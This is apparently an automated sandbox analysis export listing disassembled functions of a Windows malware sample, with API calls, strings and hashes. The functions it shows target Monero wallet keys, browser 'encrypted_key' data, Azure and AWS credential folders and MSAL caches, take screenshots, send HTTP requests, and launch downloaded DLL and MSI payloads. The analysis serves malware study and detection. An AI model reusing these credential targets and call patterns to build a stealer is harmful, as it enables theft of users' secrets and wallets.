Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: ce088abe1787bee8ebcdc65a6e0c2a96410286ea73818114e53c3a308ba2c65d
Instruction ID: 6d1cdfea92528cca073fb18fece19d3c2996120b5cc74eebb9e7e6bb83240594
Opcode Fuzzy Hash: ce088abe1787bee8ebcdc65a6e0c2a96410286ea73818114e53c3a308ba2c65d
Instruction Fuzzy Hash: 5DE13371A10108ABDB04EBA0DE96FEE7778BF64302F504255F507B7091EE35AE09CB66

Function 00A4C990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A5A740: lstrcpy.KERNEL32(00A60E17,00000000), ref: 00A5A788

Part of subcall function 00A5A920: lstrcpy.KERNEL32(00000000,?), ref: 00A5A972
Part of subcall function 00A5A920: lstrcat.KERNEL32(00000000), ref: 00A5A982

Part of subcall function 00A5A8A0: lstrcpy.KERNEL32(?,00A60E17), ref: 00A5A905

Part of subcall function 00A5A9B0: lstrlen.KERNEL32(?,016091B8,?,\Monero\wallet.keys,00A60E17), ref: 00A5A9C5
Part of subcall function 00A5A9B0: lstrcpy.KERNEL32(00000000), ref: 00A5AA04
Part of subcall function 00A5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A5AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0160D530,00000000,?,00A6144C,00000000,?,?), ref: 00A4CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00A4CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 00A4CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00A4CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00A4CAD9
StrStrA.SHLWAPI(?,0160D680,00A60B52), ref: 00A4CAF7
StrStrA.SHLWAPI(00000000,0160D608), ref: 00A4CB1E
StrStrA.SHLWAPI(?,0160DDC0,00000000,?,00A61458,00000000,?,00000000,00000000,?,01609008,00000000,?,00A61454,00000000,?), ref: 00A4CCA2
StrStrA.SHLWAPI(00000000,0160DCC0), ref: 00A4CCB9

Part of subcall function 00A4C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00A4C871
Part of subcall function 00A4C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00A4C87C

StrStrA.SHLWAPI(?,0160DCC0,00000000,?,00A6145C,00000000,?,00000000,01609018), ref: 00A4CD5A
StrStrA.SHLWAPI(00000000,016091C8), ref: 00A4CD71

Part of subcall function 00A4C820: lstrcat.KERNEL32(?,00A60B46), ref: 00A4C943
Part of subcall function 00A4C820: lstrcat.KERNEL32(?,00A60B47), ref: 00A4C957
Part of subcall function 00A4C820: lstrcat.KERNEL32(?,00A60B4E), ref: 00A4C978

lstrlen.KERNEL32(00000000), ref: 00A4CE44
CloseHandle.KERNEL32(00000000), ref: 00A4CE9C

Strings

, xrefs: 00A4C9C6

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 5e768593869e67dcceb00b237cacc86ed3ad6bd6f5fff56b8f7a93fe838e4975
Instruction ID: 669830d72fefa2c406c911aa21334539ecf1a49067daf53fb9aa1bdfa86a1a87
Opcode Fuzzy Hash: 5e768593869e67dcceb00b237cacc86ed3ad6bd6f5fff56b8f7a93fe838e4975
Instruction Fuzzy Hash: C5E10072A00108ABDB14EBA4DD96FEEB778BF64301F404259F50667191EF306A4ECF66

Function 00A58320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A5A740: lstrcpy.KERNEL32(00A60E17,00000000), ref: 00A5A788

RegOpenKeyExA.ADVAPI32(00000000,0160B228,00000000,00020019,00000000,00A605B6), ref: 00A583A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00A58426
wsprintfA.USER32 ref: 00A58459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00A5847B
RegCloseKey.ADVAPI32(00000000), ref: 00A5848C
RegCloseKey.ADVAPI32(00000000), ref: 00A58499

Part of subcall function 00A5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A5A7E6

Strings

%s\%s, xrefs: 00A5844D
- , xrefs: 00A585A3
?, xrefs: 00A5837A

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 7d42233a91709efed043f3105421511192cb6aa61e4c847410fddfc4e6e3e2b2
Instruction ID: 0d58ce5a67f6b5a004b07e123bbe60c9f3f5bb1ae35e0e377eeb604ea4893f9c
Opcode Fuzzy Hash: 7d42233a91709efed043f3105421511192cb6aa61e4c847410fddfc4e6e3e2b2
Instruction Fuzzy Hash: 70812C71A1011CABEB24DB50CD91FEEB7B8FF18701F008699E509A6180DF756B89CFA5

Function 00A54D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A58DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00A58E0B

lstrcat.KERNEL32(?,00000000), ref: 00A54DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00A54DCD

Part of subcall function 00A54910: wsprintfA.USER32 ref: 00A5492C
Part of subcall function 00A54910: FindFirstFileA.KERNEL32(?,?), ref: 00A54943

lstrcat.KERNEL32(?,00000000), ref: 00A54E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00A54E59

Part of subcall function 00A54910: StrCmpCA.SHLWAPI(?,00A60FDC), ref: 00A54971
Part of subcall function 00A54910: StrCmpCA.SHLWAPI(?,00A60FE0), ref: 00A54987
Part of subcall function 00A54910: FindNextFileA.KERNEL32(000000FF,?), ref: 00A54B7D
Part of subcall function 00A54910: FindClose.KERNEL32(000000FF), ref: 00A54B92

lstrcat.KERNEL32(?,00000000), ref: 00A54EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00A54EE5

Part of subcall function 00A54910: wsprintfA.USER32 ref: 00A549B0
Part of subcall function 00A54910: StrCmpCA.SHLWAPI(?,00A608D2), ref: 00A549C5
Part of subcall function 00A54910: wsprintfA.USER32 ref: 00A549E2
Part of subcall function 00A54910: PathMatchSpecA.SHLWAPI(?,?), ref: 00A54A1E
Part of subcall function 00A54910: lstrcat.KERNEL32(?,0160EAF0), ref: 00A54A4A
Part of subcall function 00A54910: lstrcat.KERNEL32(?,00A60FF8), ref: 00A54A5C
Part of subcall function 00A54910: lstrcat.KERNEL32(?,?), ref: 00A54A70
Part of subcall function 00A54910: lstrcat.KERNEL32(?,00A60FFC), ref: 00A54A82
Part of subcall function 00A54910: lstrcat.KERNEL32(?,?), ref: 00A54A96
Part of subcall function 00A54910: CopyFileA.KERNEL32(?,?,00000001), ref: 00A54AAC
Part of subcall function 00A54910: DeleteFileA.KERNEL32(?), ref: 00A54B31

Strings

\.IdentityService\, xrefs: 00A54ED9
Azure\.azure, xrefs: 00A54DD3
\.azure\, xrefs: 00A54DC1
\.aws\, xrefs: 00A54E4D
Azure\.IdentityService, xrefs: 00A54EEB
*.*, xrefs: 00A54DD8
msal.cache, xrefs: 00A54EF0
Azure\.aws, xrefs: 00A54E5F
*.*, xrefs: 00A54E64

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: f82836021e36ce3d090cf00c6ecc03e0d34688a7d521a45ea78991ab66325754
Instruction ID: 23e6649aacf4dbebbb05ebbc744c4934b19368b773e9b60b2e6d8843a13263e4
Opcode Fuzzy Hash: f82836021e36ce3d090cf00c6ecc03e0d34688a7d521a45ea78991ab66325754
Instruction Fuzzy Hash: 5B4171BAA4020467DB10F770ED47FED7638BB64701F404994B689660C1FEB55BCD8BA2

Function 00A59010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00A5906C

Strings

image/jpeg, xrefs: 00A59136

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 92af2171195ea5de5c83846ea80e952cf4b1f307dc563a205a8e77a97a469ece
Instruction ID: fe04fbb3aa90d691426fe8f050af0181c6e158ddf780e2355af02b26e86747f1
Opcode Fuzzy Hash: 92af2171195ea5de5c83846ea80e952cf4b1f307dc563a205a8e77a97a469ece
Instruction Fuzzy Hash: FF7110B5A10208EBDB04DFE4DD89FEEB7B8BF48301F108509F615AB294DB34A945CB65

Function 00A52E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00A5A740: lstrcpy.KERNEL32(00A60E17,00000000), ref: 00A5A788

ShellExecuteEx.SHELL32(0000003C), ref: 00A531C5
ShellExecuteEx.SHELL32(0000003C), ref: 00A5335D
ShellExecuteEx.SHELL32(0000003C), ref: 00A534EA

Strings

.msi, xrefs: 00A53398
C:\Windows\system32\rundll32.exe, xrefs: 00A53332
"" , xrefs: 00A5309A
/i ", xrefs: 00A533E4
/passive, xrefs: 00A5345B
C:\Windows\system32\msiexec.exe, xrefs: 00A534BF
.dll, xrefs: 00A531E5
<, xrefs: 00A53490

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 82451001e19b316d8a0a1ffcd1a5a6cff1e404c0ad5d8ddeeff830a687bf2c39
Instruction ID: a233998955c2cd42edd5f84515c2b7db6e4a588932ef16ef0ae6d1a07dbcc885
Opcode Fuzzy Hash: 82451001e19b316d8a0a1ffcd1a5a6cff1e404c0ad5d8ddeeff830a687bf2c39
Instruction Fuzzy Hash: 54120071A001189ADB05EBA0DE92FDEB778BF24301F504659F90676191EF742B4ECFA2

Function 00A552C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A5A7E6

Part of subcall function 00A46280: InternetOpenA.WININET(00A60DFE,00000001,00000000,00000000,00000000), ref: 00A462E1
Part of subcall function 00A46280: StrCmpCA.SHLWAPI(?,0160E9B0), ref: 00A46303
Part of subcall function 00A46280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00A46335
Part of subcall function 00A46280: HttpOpenRequestA.WININET(00000000,GET,?,0160E578,00000000,00000000,00400100,00000000), ref: 00A46385
Part of subcall function 00A46280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00A463BF
Part of subcall function 00A46280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00A463D1

Part of subcall function 00A5A8A0: lstrcpy.KERNEL32(?,00A60E17), ref: 00A5A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00A55318
lstrlen.KERNEL32(00000000), ref: 00A5532F

Part of subcall function 00A58E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00A58E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00A55364
lstrlen.KERNEL32(00000000), ref: 00A55383
lstrlen.KERNEL32(00000000), ref: 00A553AE

Part of subcall function 00A5A740: lstrcpy.KERNEL32(00A60E17,00000000), ref: 00A5A788

Strings

ERROR, xrefs: 00A5530A
ERROR, xrefs: 00A55432
ERROR, xrefs: 00A5546F
ERROR, xrefs: 00A554A9
ERROR, xrefs: 00A553B9

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 2776578e54a7f4093624e8adc5831b2e0f75dbe00cb9307b9ed1dd3fba4ad65e
Instruction ID: 555bf1c331a810e3566a072fae3123771a87fd90e5c1df3caac9d12dc7a89808
Opcode Fuzzy Hash: 2776578e54a7f4093624e8adc5831b2e0f75dbe00cb9307b9ed1dd3fba4ad65e
Instruction Fuzzy Hash: 3F511F30A10148ABDB14FF70CE96AED7779BF60302F504118FD069A592EF346B4ACB62

Function 00A512D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 76710e9f736bc5011808557b025540f0b4bbc58448c1a294f964b5c12655d9cf
Instruction ID: 4a3847bb8828337c0e3c74f44af0dff598c85a11b498e82865abeb16902329ca
Opcode Fuzzy Hash: 76710e9f736bc5011808557b025540f0b4bbc58448c1a294f964b5c12655d9cf
Instruction Fuzzy Hash: C8C1B6B5A002099BCB14EF60DD89FEE7778BF64305F004599F90AA7141EB74AA89CF91

Function 00A54280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A58DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00A58E0B

lstrcat.KERNEL32(?,00000000), ref: 00A542EC
lstrcat.KERNEL32(?,0160E218), ref: 00A5430B
lstrcat.KERNEL32(?,?), ref: 00A5431F
lstrcat.KERNEL32(?,0160D5A8), ref: 00A54333

Part of subcall function 00A5A740: lstrcpy.KERNEL32(00A60E17,00000000), ref: 00A5A788

Part of subcall function 00A58D90: GetFileAttributesA.KERNEL32(00000000,?,00A41B54,?,?,00A6564C,?,?,00A60E1F), ref: 00A58D9F

Part of subcall function 00A49CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00A49D39

Part of subcall function 00A499C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00A499EC
Part of subcall function 00A499C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00A49A11
Part of subcall function 00A499C0: LocalAlloc.KERNEL32(00000040,?), ref: 00A49A31
Part of subcall function 00A499C0: ReadFile.KERNEL32(000000FF,?,00000000,00A4148F,00000000), ref: 00A49A5A
Part of subcall function 00A499C0: LocalFree.KERNEL32(00A4148F), ref: 00A49A90
Part of subcall function 00A499C0: CloseHandle.KERNEL32(000000FF), ref: 00A49A9A

Part of subcall function 00A593C0: GlobalAlloc.KERNEL32(00000000,00A543DD,00A543DD), ref: 00A593D3

StrStrA.SHLWAPI(?,0160E1D0), ref: 00A543F3
GlobalFree.KERNEL32(?), ref: 00A54512

Part of subcall function 00A49AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00A44EEE,00000000,00000000), ref: 00A49AEF
Part of subcall function 00A49AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00A44EEE,00000000,?), ref: 00A49B01
Part of subcall function 00A49AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00A44EEE,00000000,00000000), ref: 00A49B2A
Part of subcall function 00A49AC0: LocalFree.KERNEL32(?,?,?,?,00A44EEE,00000000,?), ref: 00A49B3F

lstrcat.KERNEL32(?,00000000), ref: 00A544A3
StrCmpCA.SHLWAPI(?,00A608D1), ref: 00A544C0
lstrcat.KERNEL32(00000000,00000000), ref: 00A544D2
lstrcat.KERNEL32(00000000,?), ref: 00A544E5
lstrcat.KERNEL32(00000000,00A60FB8), ref: 00A544F4

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
